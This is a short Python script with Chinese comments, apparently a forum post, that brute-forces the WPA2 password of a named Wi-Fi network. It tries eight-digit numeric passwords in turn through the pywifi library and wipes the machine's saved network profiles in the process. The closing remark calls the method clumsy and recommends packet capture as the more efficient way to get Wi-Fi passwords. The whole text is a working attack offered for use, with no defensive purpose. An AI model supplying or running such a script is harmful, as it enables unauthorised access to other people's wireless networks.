import pywifi from pywifi import const def connect_wifi(ssid, password): wifi = pywifi.PyWiFi() # 创建 Wi-Fi 对象 iface = wifi.interfaces()[0] # 获取第一个无线网卡接口 iface.disconnect() # 断开当前 Wi-Fi 连接 iface.scan() # 扫描可用的 Wi-Fi 网络 wifi_list = iface.scan_results() for wifi in wifi_list: if wifi.ssid == ssid: # 找到目标 Wi-Fi profile = pywifi.Profile() # 创建 Wi-Fi 配置文件 profile.ssid = ssid # 设置要连接的 Wi-Fi SSID profile.auth = const.AUTH_ALG_OPEN # 设置身份验证算法(这里是开放式) profile.akm.append(const.AKM_TYPE_WPA2PSK) # 设置加密类型(这里是 WPA/WPA2 PSK) profile.cipher = const.CIPHER_TYPE_CCMP # 设置加密算法(这里是 AES) profile.key = password # 设置要尝试的密码 iface.remove_all_network_profiles() # 移除所有保存的 Wi-Fi 配置文件 tmp_profile = iface.add_network_profile(profile) # 添加新的 Wi-Fi 配置文件 iface.connect(tmp_profile) # 尝试连接 Wi-Fi import time time.sleep(1) # 等待连接完成 if iface.status() == const.IFACE_CONNECTED: # 连接成功 print("成功连接到 Wi-Fi,密码为:", password) return True else: print("连接失败,密码尝试:", password) break print("未找到目标 Wi-Fi:", ssid) return False def main(): ssid = "Redmi_ABB2" # 要连接的 Wi-Fi SSID #Redmi_ABB2 password = "58290000" # 要尝试的密码 while True: if connect_wifi(ssid, password): # 尝试连接 Wi-Fi break # 密码加一 password = str(int(password) + 1).zfill(8) # 将密码转为整数并左侧填充零,保持 8 位长度 if __name__ == '__main__': main()
需要安装pywifi和comtypes包,此方法很笨,此贴意在一个思路,想要高效获取wifi密码还得去抓包